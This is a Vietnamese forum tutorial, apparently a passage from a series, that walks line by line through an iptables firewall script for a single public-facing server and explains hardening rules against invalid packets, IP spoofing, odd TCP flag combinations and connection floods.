--limit-burst ấn định giá trị số lần (cho phép hoặc không cho phép) một gói tin được đi đến bước kế tiếp trong luật (-j ACCEPT hoặc -j DROP hoặc bất cứ "jump to" nào). Mỗi giá trị của --limit-burst là một "giấy phép", mỗi packet trùng với luật này sẽ dùng hết một "giấy phép". Khi --limit-burst bằng 0, gói tin trùng với luật đã hết "giấy phép", thì mọi gói tin mới đi vào dù có trùng với luật quy định hay không đều sẽ không thể "jump" đến target ACCEPT (và do đó sẽ bị DROP bởi policy của firewall hoặc các luật đi theo sau). Vì lý do này, --limit 3/s chính là cơ chế "nạp" giấy phép lại cho --limit-burst. Chuỗi này có ý nghĩa là mỗi 1/3 giây, sẽ tăng --limit-burst lên 1, cho đến khi đạt giá trị tối đa ban đầu (= 3 trong trường hợp này) thì sẽ không tăng nữa.
Cụ thể hơn, tưởng tượng đang có một máy con nào đó truy cập vào máy chủ của chúng ta với tốc độ 50 packet/giây, có nghĩa là cứ 1/50 giây có một packet đi đến máy chủ. Rule trên sẽ xử lí như sau:
-Trong vòng (1/50)*5 = 1/10 giây đầu tiên, 5 giấy phép ban đầu đã được sử dụng hết, gọi thời điểm này là T1 (chẳng hạn). Từ thời điểm T1 trở đi cho đến thời điểm T1+1/3 giây, tất cả packet từ IP này truy cập vào máy chủ sẽ bị DROP.
-Tại thời điểm T1 + 1/3 giây, do qui định của chuỗi --limit 3/s, một giấy phép được nạp vào cho --limit-burst, nhưng gần như ngay tức khắc, giấy phép này được một packet của máy A sử dụng và do đó --limit-burst lại trở về 0 (tiếp tục hết "giấy phép"). Cứ tiếp tục như thế, sau 1/3 giây, sẽ có một packet được chấp nhận và chỉ 1 mà thôi nếu máy A cứ tiếp tục truy cập với tốc độ như trên vào máy chủ.
Nếu máy con ngừng truy cập vào máy chủ thì diễn biến sẽ như sau:
- Cứ sau 1/3 giây, một giấy phép sẽ được nạp vào --limit-burst, và vì bây giờ không còn packet nào được gửi đến do đó --limit-burst sẽ giữ nguyên giá trị. Cứ thể --limit-burst tăng dần cho đến khi chạm quy định ban đầu là 3 thì sẽ ngừng lại, "giấy phép" hoàn toàn ở tình trạng nguyên thuỷ. Trong thời gian --limit-burst tăng lại giá trị ban đầu, nếu máy A lại tiếp tục gửi packet thì những packet này sẽ sử dụng giấy phép trong limit-burst, và lại giảm limit-burst xuống, nếu limit-brust bằng 0 thì tất nhiên firewall sẽ tiếp tục cản các gói tin ở dạng này nếu vẫn tiếp tục vi phạm luật cho đến khi --limit-burst được giải toả (như đã giải thích).
Đây chỉ là một ví dụ minh hoạ ứng dụng -m limit. Bạn cần khảo sát số lượng truy cập đến dịch vụ nào đó trên máy chủ trước khi hình thành giá trị thích hợp cho -m limit. Nên cẩn thận trường hợp một proxy server chỉ có một IP và có thể có hàng ngàn người dùng phía sau proxy; ghi nhận yếu tố này để điều chỉnh limit rate cho hợp lý.
<hết phần 1>
Tác giả : Conmale(hnd)
Nguồn : www.diendantinhoc.net
|
|
|
Case 2 - iptables và máy đơn có dịch vụ
Trường hợp điển hình thứ nhì trong việc ứng dụng iptables để bảo vệ máy đơn có dịch vụ.
1. Trường hợp:
Firewall cho một máy đơn có dịch vụ.
2. Nhu cầu:
Bảo vệ máy đơn không bị thâm nhập vào những dịch vụ không dành cho công cộng và cho phép truy cập vào những dịch vụ được ấn định cụ thể.
3. Phương pháp kết nối:
Bất cứ phương tiện nào, (cách tốt nhất) nên có IP tĩnh để có thể tạo dịch vụ công cộng ổn định.
Đòi hỏi tối thiểu:
Đã hoàn tất thành công quy trình kết nối vào Internet và các dịch vụ trên máy đã có thể truy cập được từ Internet.
4. Mô hình:
eth0 là NIC tiếp diện với Internet với IP tĩnh. Mô hình này thích hợp cho các máy đơn (dedicated server) với các dịch vụ thông thường như HTTP, SMTP, POP3, DNS và SSH (quản lý từ xa).
5. Nhóm luật:
Code:
1. IF=`/sbin/route | grep -i 'default' | awk '{print$8}'`
2. IP=`/sbin/ifconfig $IF | grep "inet addr" | awk -F":" '{print$2}' | awk '{print $1}'`
3. IPT="/usr/local/sbin/iptables"
4. NET="any/0"
5. DNS="xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy.yyy"
6. SERV_TCP="22 25 80 443 110"
7. SERV_UDP="53 123"
8. HI_PORTS="1024:65535"
9.
10. $IPT -F
11. $IPT -P INPUT DROP
12. $IPT -P OUTPUT DROP
13. $IPT -P FORWARD DROP
14.
15. for entry in $DNS, do
16. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $HI_PORTS -d $entry --dport 53 -m state --state NEW -j ACCEPT
17. $IPT -A INPUT -i $IF -p udp -s $entry --sport 53 -d $IP --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
18. done
19.
20. for port in $SERV_UDP; do
21. if test $port -eq 53
22. then
23. $IPT -A INPUT -i $IF -p udp -s $NET --sport $port -d $IP --dport $port -m state --state NEW,ESTABLISHED -j ACCEPT
24. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $port -m state --state ESTABLISHED -j ACCEPT
25. else
26. $IPT -A INPUT -i $IF -p udp -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
27. $IPT -A OUTPUT -o $IF -p udp -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
28. fi
29. done
30.
31. for port in $ SERV_TCP; do
32. $IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
33. $IPT -A OUTPUT -o $IF -p tcp ! --syn -s $IP --sport $port -d $NET --dport $HI_PORTS -m state --state ESTABLISHED -j ACCEPT
34. $IPT -A INPUT -i $IF -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state ESTABLISHED -j ACCEPT
35. done
36.
37. $IPT -A INPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_INPUT: "
38. $IPT -A INPUT -i $IF -d $IP -j DROP
39. $IPT -A OUTPUT -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_OUTPUT: "
40. $IPT -A OUTPUT -i $IF -d $IP -j DROP
41. $IPT -A FORWARD -i $IF -d $IP -m limit --limit 1/s -j LOG --log-level 5 --log-prefix "BAD_FORWARD: "
42. $IPT -A FORWARD -i $IF -d $IP -j DROP
6. Phân tích:
- Dòng 1, 2, 3: Đã phân tích trong bài trước (case 1).
- Dòng 4: Ấn định giá trị của biến NET. Đối với iptables, việc ấn định NET=any/0 và ứng dụng trong firewall script không cần thiết (bị thừa) vì nếu không ấn định cụ thể giá trị source (-s) và destination (-d) thì được ngầm hiểu là any/0. Giá trị NET dùng ở đây với mục đích làm rõ các luật trên phương diện gói tin đến và đi.
- Dòng 5: Ấn định giá trị của biến DNS. Đây là một giá trị quan trọng cho trường hợp firewall trên máy đơn và có dịch vụ cho công cộng. Những dịch vụ cho công như web, mail... đều trực tiếp tương tác với cơ chế biên giải giữa IP và tên domain. Giá trị của biến DNS ở đây chính là các IP của một DNS server (biểu thị cho primary DNS và secondary DNS). DNS server này có thể là DNS do ISP cung cấp hoặc chính authoritative DNS -1- do bạn tạo ra. Các giá trị trong biến DNS này tách rời bởi khoảng trống (space) để tiện việc chạy lệnh sau này.
- Dòng 6: Ấn định giá trị của biến SERV_TCP. Biến SERV_TCP chứa giá trị các cổng dịch vụ ở giao thức TCP được firewall mở và kiểm soát. Các giá trị này tách rời bởi khoảng trống. Bạn có thể thêm, bớt các giá trị tùy thích. Nên lưu ý cách ấn định giá trị các cổng trong biến SERV_TCP chỉ là một cách (trong nhiều cách), bạn có thể khai triển tùy thích, miễn sao iptables "biết được" những cổng nào cần mở và cần kiểm soát. Sử dụng phương thức này chỉ thích hợp cho các cổng dịch vụ có tính chất tương tự nhau và bạn muốn kiểm soát các cổng với chế độ tương tự nhau. Cách ứng dụng khác là ấn định mỗi luật một dòng thay vì nhóm lại trong vòng lặp.
- Dòng 7: Ấn định giá trị của biến SERV_UDP. Tương tự như trên, biến SERV_UDP chứa các giá trị cổng dịch vụ ở giao thức UDP được firewall mở và kiểm soát. Riêng phần biến SERV_UDP này có chứa cổng 53 mang tính chất khá đặc biệt so với các cổng dịch vụ khác. Vấn đề này sẽ được bàn sâu hơn cho dòng 20, 21, 22. Tất nhiên bạn không phải quan tâm đến nó nếu bạn không cung cấp dịch vụ DNS từ máy chủ của mình.
- Dòng 8: Ấn định giá trị của biến HI_PORTS. Trong bài viết cho case 1, giá trị này không được nêu lên và sử dụng một cách cụ thể. Trái lại, nó được sử dụng ở đây với mục đích làm rõ các luật bảo vệ và kiểm soát những gói tin ra / vào cần được huy động tới giá trị của biến HI_PORTS này. Cần nói thêm, giá trị của biến HI_PORTS trải dài từ cổng 1024 đến cổng 65535 là các cổng thuộc chuỗi "high ports" hay "unprivileged ports". Mở một socket trong chuỗi cổng này không cần đến quyền hạn root (trên *nix nói chung) và đây là một trong những điểm quan trọng của việc áp đạt chuỗi HI_PORTS trong firewall script sau này.
- Dòng 10, 11, 12, 13: Đã phân tích trong bài trước (case 1).
- Dòng 15-18: Bốn dòng này thuộc một vòng lặp, đặc biệt dùng để xác lập các dòng luật cho phép máy đơn (ở trường hợp này) liên hệ đến các DNS servers (đã ấn định ở biến $DNS ở trên). Đây là nhóm luật hết sức quan trọng và sẽ được các chương trình cung cấp dịch vụ trên mày dùng đến thường xuyên cho nên việc xác định luật này đầu tiên là việc cần thiết.
- Diễn dịch nôm na vòng lặp của dòng 15, 16, 17 và 18 như sau: với mỗi giá trị thuộc biến $DNS, chạy hai dòng 16 và 17 cho đến khi không còn giá trị nào nữa.
- Dòng 16 có ý nghĩa như sau: cho phép các gói tin với giao thức UDP đi ra ngoài bằng IP hiện có xuyên qua IF. Các gói tin này được khởi tạo từ một socket thuộc chuỗi HI_PORTS (nguồn --sport) và đi đến các địa chỉ DNS server đã ấn định trong biến $DNS đến cổng 53 (đích --dport). Thêm vào đó, các gói tin này phải ở tình trạng NEW (trong state table được iptables quản lý). Điều này có nghĩa firewall cho phép máy chủ -2- này khởi tạo các truy cập đến các DNS server đã ấn định (xxx.xxx.xxx.xxx và yyy.yyy.yyy.yyy).
- Dòng 17 có ý nghĩa như sau: cho phép các gói tin với giao thức UDP từ các DNS server đã ấn định được đi đến IP hiện có xuyên qua IF. Các gói tin này được phép trả lời từ cổng 53 của DNS server ấy. Các gói tin ở dạng trả lời này phải ở tình trạng ESTABLISHED (trong state table được iptables quản lý). Điều này có nghĩa firewall cho phép các DNS server đã được ấn định trả lời các truy cập được khởi tạo từ máy chủ. Các gói tin ở tình trạng NEW đến từ các DNS server sẽ bị từ chối.
- Dòng 20-29: tương tự như nhóm dòng 15-18, dòng 20-29 thuộc một vòng lặp để xác lập luật cho các cổng thuộc biến $SERV_UDP cho giao thức UDP. Trong vòng lặp này chứa một một cụm điều kiện cách (if / else) để thử nghiệm và ứng dụng đúng luật thích ứng cho cổng dịch vụ.
- Diễn dịch nôm na vòng lặp 20-29 như sau: với mỗi giá trị thuộc biến $SERV_UDP, chạy các dòng lệnh 23 và 24 nếu một trong những giá trị thuộc biến $SERV_UDP là 53. Nếu không thì chạy các dòng lệnh 26 và 27 cho đến khi không còn giá trị nào nữa.
- Dòng 23 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi vào từ bất cứ nơi đâu từ cổng 53 đến cổng 53 của máy chủ. Các gói tin này phải đi đến $IP hiện có xuyên qua $IF và phải ở tình trạng NEW.
- Dòng 24 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi ra từ cổng 53 của máy chủ đến cổng 53 của máy đã đòi hỏi truy cập và đã được firewall tiếp nhận ở dòng 22. Các gói tin đi ra ngoài này phải ở tình trạng ESTABLISHED.
- Dòng 26 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi vào từ cổng nào đó thuộc dãy $HI_PORTS đến cổng đã ấn định trong biến $SERV_UDP của máy chủ. Các gói tin này phải ở tình trạng NEW.
- Dòng 27 có ý nghĩa như sau: firewall cho phép các gói tin với giao thức UDP đi ra từ cổng đã ấn định trong biến $SERV_UDP (và không phải là cổng 53) của máy chủ đến cổng nào đó thuộc dãy $HI_PORTS dùng để truy cập và đã được firewall tiếp nhận ở dòng 25. Các gói tin đi ra ngoài này phải ở tình trạng ESTABLISHED.
- Dòng 31-35: tương tự như nhóm dòng 20-29. Đây cũng là một vòng lặp dùng để xác lập luật cho các cổng thuộc biến $SERV_TCP cho giao thức TCP. Vòng lặp này không chứa cụm điều kiện cách như nhóm dòng 20-29 vì các cổng dịch vụ đã ấn định trong biến $SERV_TCP mang tính chất tương tự nhau -3-.
- Diễn dịch nôm na vòng lặp 31-35 như sau: với mỗi giá trị thuộc biến $SERV_TCP, chạy các dòng 32, 33 và 34 rồi lặp lại cho giá trị kế tiếp trong biến $SERV_TCP cho đến khi không còn giá trị nào khác.
- Dòng 32 có ý nghĩa như sau: các gói tin ở dạng TCP với cờ hiệu (TCP Flag) là SYN -4- đi vào từ bất cứ nơi nào từ một cổng ở dãy $HI_PORTS đến $IP hiện có xuyên qua $IF để đến cổng $port (giá trị hiện tại của vòng lặp) và ở tình trạng NEW thì tiếp nhận.
- Dòng 33 có ý nghĩa như sau: các gói tin ở dạng TCP không mang cờ hiệu là SYN đi từ $IP hiện có từ cổng $port (giá trị hiện tại của vòng lặp) trả lời cho gói tin yêu cầu truy cập ở trên (đi ra) và ở tình trạng ESTABLISHED thì tiếp nhận.
- Dòng 34 có ý nghĩa như sau: các gói tin ở dạng TCP với cờ hiệu không phải là SYN đi từ nơi gởi gói tin yêu cầu truy cập trên (tiếp tục) đi vào đến cổng $port của $IP hiện có và ở tình trạng ESTABLISHED thì tiếp nhận.
- Dòng 37-42: clean up rules. Đã phân tích ở case 1.
7. Tổng lượt dạng firewall trên:
Đây là dạng firewall được thiết lập cho một máy đơn hỗ trợ dịch vụ. Điểm cốt lõi và khác biệt giữa dạng này và dạng máy đơn không dịch vụ (như ở case 1) là máy đơn hỗ trợ dịch vụ tiếp nhận yêu cầu truy cập và chỉ trả lời yêu cầu truy cập khi những yêu cầu thoả mãn những luật iptables đưa ra (ngoại trừ luật tạo ra ở dòng 16 và 17). Trong khi đó, máy đơn của case 1 mang vai trò yêu cầu truy cập và các dịch vụ bên chỉ có thể trả lời nếu máy đơn này đòi hỏi.
Thử xét luật ở dòng 16 và 17 thì thấy, máy chủ này cần phải khởi tạo một xuất truy cập đến DNS server (và chỉ cụ thể những DNS server được ấn định trong biến $DNS mà thôi). Các DNS server này cũng chỉ có thể trả lời yêu cầu từ máy chủ khi máy chủ "hỏi" và tất nhiên, các DNS server khác sẽ không có cơ hội "trả lời" vì chúng không nằm trong phạm vi cho phép. Điều này cho thấy, máy chủ của chúng ta tin tưởng vào thông tin mà DNS server đã ấn định cung cấp. iptables không thể hạn chế thông tin của các DNS server này cung cấp, ngay cả khi chúng bị hư hoại (poisoned cache chẳng hạn). Ví dụ, www.mypage.net giả định được biên giải thành 123.123.123.123 nhưng DNS server ấy bị nhân nhượng nên www.mypage.net được biên giải thành 124.124.124.124 chẳng hạn thì máy chủ của chúng ta vẫn tiếp nhận gói tin chứa các thông tin này (nếu như chúng thoả mãn các điều kiện iptables đặt ra trên cấp độ ip).
Dòng 23 và 24 có vài điểm cần phân tích. Luật đưa ra ở hai dòng này dùng để kiểm soát và thoả mãn giao thức giữa dịch vụ DNS chạy trên máy chủ của chúng ta và các DNS server khác (server to server). Bởi vậy, thông tin đi và đến xuyên qua cổng 53 từ hai phía (thay vì từ một cổng thuộc $HI_PORTS đến cổng 53 và ngược lại). Đó là lý do tại sao chúng ta phải dùng đến cụm điều kiện cách if / else ở đây. Điểm cốt lõi của hai dòng lệnh này là đưa ra luật kiểm soát cho dịch vụ DNS giữa server và server. Máy chủ cung cấp dịch vụ DNS hầu hết chỉ cần "lắng nghe" và "trả lời" trên cổng 53 UDP ngoại trừ trường hợp một yêu cầu nào đó quá lớn hoặc một yêu cầu cho zone transfer thì mới cần đến cổng 53 TCP -5-
Dòng 26 và 27 tương tự như trên nhưng luật đưa ra dùng để kiểm soát gói tin giữa các clients từ bên ngoài và máy chủ (client to server). Tất nhiên các luật này không ứng dụng cho dịch vụ DNS vì đi đến hai dòng này đã thoát ra ngoài cụm điều kiện cách dùng cho DNS ở trên. Ở đây, thông tin đi xuyên qua cổng 53 của máy chủ và $HI_PORTS của máy con.
Dòng 32, 33, 34 có một số điểm lý thú cần bàn đến. Dựa trên tính "stateful" của giao thức TCP, iptables có thể kiểm soát các gói tin TCP sâu sát hơn UDP rất nhiều.
- Dòng 32 chỉ định rất cụ thể là các gói tin ở tình trạng NEW -6- và có tcp-flags là SYN,RST,ACK SYN thì mới được tiếp nhận. Điều này có nghĩa: một yêu cầu truy cập hoàn toàn mới bằng giao thức TCP thì phải có SYN bit và đối với iptables, gói tin khởi đầu cho một cuộc truy cập hoàn toàn mới vì nó chưa hề có trong bảng theo dõi của netfilter (conntrack table). Vậy nếu một gói tin muốn đi vào (truy cập) nhưng chưa hề có trong bảng theo dõi của netfilter (NEW) và không có SYN bit thì sao? Câu trả lời là tất nhiên iptables sẽ chặn nó lại như theo luật đưa ra ở dòng 32 và đây là điều tốt vì các truy cập hợp lệ (legitimate request) không thể có trường hợp một request mới mà không khởi đầu từ SYN. Trường hợp gói tin ở tình trạng NEW nhưng không có SYN bit rất hiếm thấy (ngoại trừ cố tình tạo ra gói tin ở dạng này để thử thâm nhập). Những gói tin ở trường hợp này đôi khi xuất hiện nếu bạn thiết kế hệ thống "high availability" -7- cho nhiều firewall và các firewall này vì lý do nào đó "lỡ" không chuyển giao các "state" của những gói tin hiện lưu hành xuyên qua firewall nên một gói tin nào đó đang ở tình trạng ESTABLISHED với firewall này có thể ở tình trạng NEW với firewall kia. Nếu iptables nằm trong vùng làm việc của các firewall trên thì thỉnh thoảng sẽ va phải một số gói tin như thế và đây là trường hợp (legitimate) rất ít xảy ra.
- Dòng 33 và 34 dùng để hỗ trợ dòng 32 và tiêu điểm của luật trên hai dòng này là dấu chấm thang (!) đi trước --syn. Chuyện gì sẽ xảy ra ở đây? Ở dòng 32, chúng ta ấn định các gói tin TCP đi vào mang SYN flag và ở tình trạng NEW thì được tiếp nhận, vậy sau khi được tiếp nhận thì chuyện gì tiếp tục xảy ra? Câu trả lời nằm ở dòng 33:
+ các gói tin đi ra ngoài để trả lời mà không mang SYN flag -8- và ở tình trạng ESTABLISHED thì được tiếp nhận. Điều cần nhấn mạnh ở đây là gói tin trả lời đi từ máy chủ của chúng ta không nên là gói tin mang SYN flag bởi vì không có lý do gì để máy chủ phải gởi yêu cầu truy cập đến một máy con nào đó trên Internet. Máy chủ chúng ta dùng để tiếp nhận và trả lời các yêu cầu truy cập cho nên luật ở dòng 33 ngầm chứa một quy định rất khắc khe: không những luật firewall cho máy chủ này chỉ tiếp nhận những yêu cầu đi vào một cách hợp lệ mà còn ngăn ngừa những lưu thông đi ra từ máy chủ một cách thiếu hợp lệ (thử hình dung vì lý do gì đó, máy chủ của chúng ta bị biến thành "zombie" và liên tục gởi SYN request đến các máy khác).
+ tình trạng ESTABLISHED kèm theo trong lệnh này càng nâng cao mức khắc khe. Đối với conntrack table lúc này, gói tin đi ra từ máy chủ để trả lời một yêu cầu truy cập nào đó phải thuộc dạng ESTABLISHED. --syn ở đây ứng dụng cụ thể cho gói tin thuộc giao thức TCP và --state ESTABLISHED ở đây ứng dụng cụ thể cho tính "stateful" của netfilter.
- Dòng 34 tiếp nối hai dòng lệnh trên. Ở giai đoạn này, gói tin đi vào máy chủ và thuộc xuất truy cập hiện tại phải ở tình trạng ESTABLISHED và không mang SYN flag nữa và đây chính là điều được dòng 33 áp đặt. Từ lúc này trở đi, trong suốt xuất truy cập, luật của dòng 33 và 34 điều tác và kiểm soát lưu thông giữa máy con và máy chủ của chúng ta. Cụ thể hơn:
+ nếu cũng từ một IP (cùng một client) gởi một gói tin mang SYN flag và hợp lệ thì nó sẽ được xếp loại NEW và được dòng lệnh 32 "xét xử".
+ nếu cũng từ một IP (cùng một client) gởi một gói tin mang một TCP flag nào đó thiếu hợp lệ và không nằm trong tình trạng được theo dõi bởi conntrack table thì nó bị loại trừ bởi các dòng trong nhóm 37-42 hoặc được quy chế mặc định của firewall xử (còn nhớ -P?).
8. Mở rộng:
Mở rộng? rộng thế nào? . Khó có thể trả lời câu hỏi này thoả đáng vì không có sự cố hoặc nhu cầu thì khó biết được giải pháp? (no solution for unknown problem). Tuy nhiên có vài vấn đề có thể mở rộng một cách tổng quát và ứng dụng cho đa số các trường hợp.
8.1 Vấn đề chung cho mọi giao thức:
8.1.1 Vấn đề các gói tin ở tình trạng INVALID:
Như đã phân tích các tình trạng NEW,RELATED,ESTABLISHED,VALID trong bảng theo dõi của netfilter ở bị chú số 6 (bên dưới). Các gói tin ở tình trạng NEW,RELATED,ESTABLISHED có thể được tiếp nhận tùy theo hoàn cảnh. Tuy nhiên, gói tin ở tình trạng INVALID trên bình diện SPI (xem chú thích về SPI ở case 1), không thể được tiếp nhận với bất cứ lý do nào. Bởi vậy, hai dòng luật như sau có thể đưa vào phía trên dòng 15:
Code:
$IPT -A INPUT -m state --state INVALID -m limit --limit 1/s -j LOG --log-prefix "INVALID_STATE: "
$IPT -A INPUT -m state --state INVALID -j DROP
Dòng trên dùng để log và dòng kế tiếp chính thức cản các gói tin thuộc dạng này. Điểm cần chú ý ở đây là hai dòng lệnh trên không quy định cụ thể loại giao thức nào (bằng thông số -p) cho nên các luật này ứng hiệu cho mọi giao thức. Dòng trên cản phần lớn các gói tin "lạc loài" đi vào firewall với chủ đích hoặc vô tình. Cách áp đặt luật này phía trên dòng 15 không những log và cản các gói tin vi phạm cụ thể mà còn mang tính hiệu năng. Các gói tin vi phạm sẽ bị cản ngay tại vị trí này thay vì tiếp tục đi xuống cho đến khi nào trùng với một luật xử lý nào đó, nếu không thì chúng sẽ tiếp tục đi xuống đến tận chuỗi "clean-up" rule (rồi cũng sẽ bị log và cản). Để duy trì tính an toàn, chúng không nên được phép đi vào.
8.1.2 Vấn đề mạo danh IP của máy chủ:
Kỹ thuật mạo danh IP của một máy nào đó được gọi là "spoofing" theo thuật ngữ chuyên môn. "Spoofing" có nhiều dạng và nhiều mục đích nhưng ở đây chúng ta chỉ đề cập đến trường hợp "ai đó" từ Internet mạo danh địa chỉ của máy chủ chúng ta với mục đích "lừa" firewall mà lẻn vào. Thủ thuật này có độ thành công rất cao khi "thử nghiệm" trên các máy chủ và ngay cả các firewall nếu không điều chỉnh cẩn thận. Thử xét:
Code:
$IPT -A INPUT -i $IF -s $IP -d $IP -m limit --limit 1/s -j LOG --log-prefix "SPOOFING: "
$IPT -A INPUT -i $IF -s $IP -d $IP -j DROP
Các gói tin đi từ bên ngoài vào xuyên qua $IF và từ $IP không thể đến $IP được. Vả lại, làm sao có thể có gói tin được chính IP của máy chủ chúng ta tạo ra lại đi vào từ Internet? Nên nhớ, các gói tin được tạo ra ngay trên chính máy chủ cho chính máy chủ đều đi xuyên qua địa chỉ loopback (127.0.0.1) xuyên qua loopback interface (lo), cho nên, các gói tin đi từ bên ngoài mà mang IP của chính máy chủ chúng ta thì chắc chắn thuộc dạng "spoofing". Tất nhiên để có thể lẻn vào bằng phương thức "spoofing" này, kẻ muốn xâm nhập cần nhiều dữ kiện và điều kiện hơn là chỉ đơn thuần "spoofing" vì SPI là hàng rào cản đầu tiên (xem INVALID state ở trên).
8.2 Vấn đề thuộc giao thức TCP:
8.2.1 Loại trừ các truy cập mang tính thiếu hợp lệ
Thử mở rộng một vài TCP flags như đã bàn đến trong phần 7 ở trên -9-
Code:
a. $IPT -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -s $NET -j DROP
Một gói tin mang tcp flag SYN và FIN cùng một lượt không thể là một gói tin bình thường và hợp lệ. SYN-FIN chỉ thường thấy ở các thao tác rà cổng (port scan) hoặc được dùng với ý định không trong sáng. Gói tin ở dạng này nên loại trừ trước khi đi sâu vào hệ thống. Nếu cần phải log, bạn chỉ cần áp đặt một dòng luật tương tự với target là LOG ở trên.
Code:
b. $IPT -A INPUT -p tcp --tcp-flags FIN,RST FIN,RST -s $NET -j DROP
Một gói tin mang tcp flag FIN và RST cùng một lượt cũng có thể được xem bất hợp lệ. FIN flag trong một gói tin hợp lệ dùng để thông báo đầu bên kia dòng tin được chấm dứt để xuất truy cập được kết thúc đúng quy cách. Trong khi đó, RST flag dùng để "xé" ngang một xuất truy cập bất chợt. Trường hợp FIN và RST cùng trong một gói tin là điều bất thường và không nên tiếp nhận.
Trường hợp a, b và các trường hợp tương tự đều có thể tạo những tác động không tốt đến dịch vụ trên máy chủ. Chúng khiến cho hệ thống trên máy chủ phải làm việc nhiều hơn một cách không cần thiết và một số trường hợp các gói tin được "nắn ép" cẩn thận có thể dung hại nặng nề đến hệ thống. Tương tự như đã phân tích ở phần 8.1, hai dòng này nên đặt trên dòng 15 (hoặc trên các dòng lệnh bắt đầu cho phép tiếp nhận gói tin) để mang lại tính cụ thể và hiệu năng khi đưa ra các luật cụ thể.
8.2.2 Cản và log cụ thể cho TCP:
Trên dòng chúng ta cho phép các gói tin TCP đi vào phải mang SYN flag và ở tình trạng NEW. Tất nhiên, các gói tin không thoả mãn quy định trên sẽ bị log và cản ở dòng luật 37, 38. Nếu chúng ta không cần phải log chi tiết chuyện gì xảy và thì đoạn firewall script ở trên vừa đủ để hoạt động. Tuy nhiên, nếu chúng ta cần log và cản các gói tin vi phạm một cách cụ thể thì sao?
Code:
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -m limit --limit 1/s -j LOG --log-prefix "INVALID_SERVICE_REQUEST: "
$IPT -A INPUT -p tcp ! --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j DROP
Hai dòng trên là câu trả lời. Các gói tin TCP không mang SYN flag mà ở tình trạng NEW thì bị log và bị cản một cách cụ thể. Hai dòng này có thể được đưa vào phía trên dòng 32 (còn nhớ đến tính quan trọng với thứ tự của các luật?). Tất nhiên, tính cụ thể và hiệu năng sẽ được hình thành nếu áp đặt chúng ở đúng vị trí.
8.2.3 Loại trừ các truy cập hợp lệ nhưng nguy hại
Có lẽ bạn sẽ hỏi, tại sao các truy cập đã hợp lệ mà lại có thể nguy hại. Cho đến lúc này, chúng ta chỉ áp đặt các luật để cản những gói tin bất hợp lệ. Tuy nhiên, không nhất thiết các gói tin hợp lệ trên bình diện giao thức cũng hợp lệ trên bình diện tinh thần. Trường hợp điển hình nhất là phương thức xử dụng các gói tin hợp lệ để làm cạn kiệt tài nguyên của máy chủ. Thử hình dung trường hợp 1000 truy cập đến máy chủ trong vòng vài giây (chẳng hạn),
- liệu máy chủ đủ sức đáp ứng hay không?
- trong 1000 truy cập này, có bao nhiêu truy cập với "thiện ý" và bao nhiêu với "ác ý"?
- làm sao phân biệt và xử lý những truy cập "ác ý" trong mớ 1000 truy cập ấy?
Trên thực tế, khó có thể phân biệt một cách chính xác các truy cập thiện ý hoặc ác ý nhưng chúng ta có thể biết được những truy cập thiện ý thường có biên độ nhất định -10-
8.2.3.1 Giới hạn truy cập với "connection rate"
"Connection rate" có thể thực hiện bằng chọn lựa -m limit cho bất cứ giao thức nào. Chúng ta chỉ đề cập ở đây cho giao thức TCP và sẽ ứng dụng cho các giao thức khác theo ý muốn. Thử đổi dòng 32 từ:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m state --state NEW -j ACCEPT
trở thành:
Code:
$IPT -A INPUT -i $IF -p tcp --syn -s $NET --sport $HI_PORTS -d $IP --dport $port -m limit --limit 3/s --limit-burst 5 -m state --state NEW -j ACCEPT
Chuỗi -m limit --limit 3/s --limit-burst 3 dùng CONFIG_IP_NF_MATCH_LIMIT trên netfilter, một "match" trong gói căn bản và đã được tích hợp vào Linux kernel. "limit match" này ảnh hưởng lớn lao đến dòng lệnh trên bình diện giới hạn "connection rate". Chuỗi này ấn định các gói tin mang SYN flag từ một IP nào đó truy cập đến cổng dịch vụ của máy chủ ở tình trạng NEW. Trong chuỗi -m limit --limit 3/s --limit-burst 3 này, khi ứng dụng trong dòng lệnh, một gói tin sẽ được xử lý theo cơ chế:
--limit-burst ấn định giá trị số lần (cho phép hoặc không cho phép) một gói tin được đi đến bước kế tiếp trong luật (-j ACCEPT hoặc -j DROP hoặc bất cứ "jump to" nào). Mỗi giá trị của --limit-burst là một "giấy phép", mỗi packet trùng với luật này sẽ dùng hết một "giấy phép". Khi --limit-burst bằng 0, gói tin trùng với luật đã hết "giấy phép", thì mọi gói tin mới đi vào dù có trùng với luật quy định hay không đều sẽ không thể "jump" đến target ACCEPT (và do đó sẽ bị DROP bởi policy của firewall hoặc các luật đi theo sau). Vì lý do này, --limit 3/s chính là cơ chế "nạp" giấy phép lại cho --limit-burst. Chuỗi này có ý nghĩa là mỗi 1/3 giây, sẽ tăng --limit-burst lên 1, cho đến khi đạt giá trị tối đa ban đầu (= 3 trong trường hợp này) thì sẽ không tăng nữa.
Cụ thể hơn, tưởng tượng đang có một máy con nào đó truy cập vào máy chủ của chúng ta với tốc độ 50 packet/giây, có nghĩa là cứ 1/50 giây có một packet đi đến máy chủ. Rule trên sẽ xử lí như sau:
-Trong vòng (1/50)*5 = 1/10 giây đầu tiên, 5 giấy phép ban đầu đã được sử dụng hết, gọi thời điểm này là T1 (chẳng hạn). Từ thời điểm T1 trở đi cho đến thời điểm T1+1/3 giây, tất cả packet từ IP này truy cập vào máy chủ sẽ bị DROP.
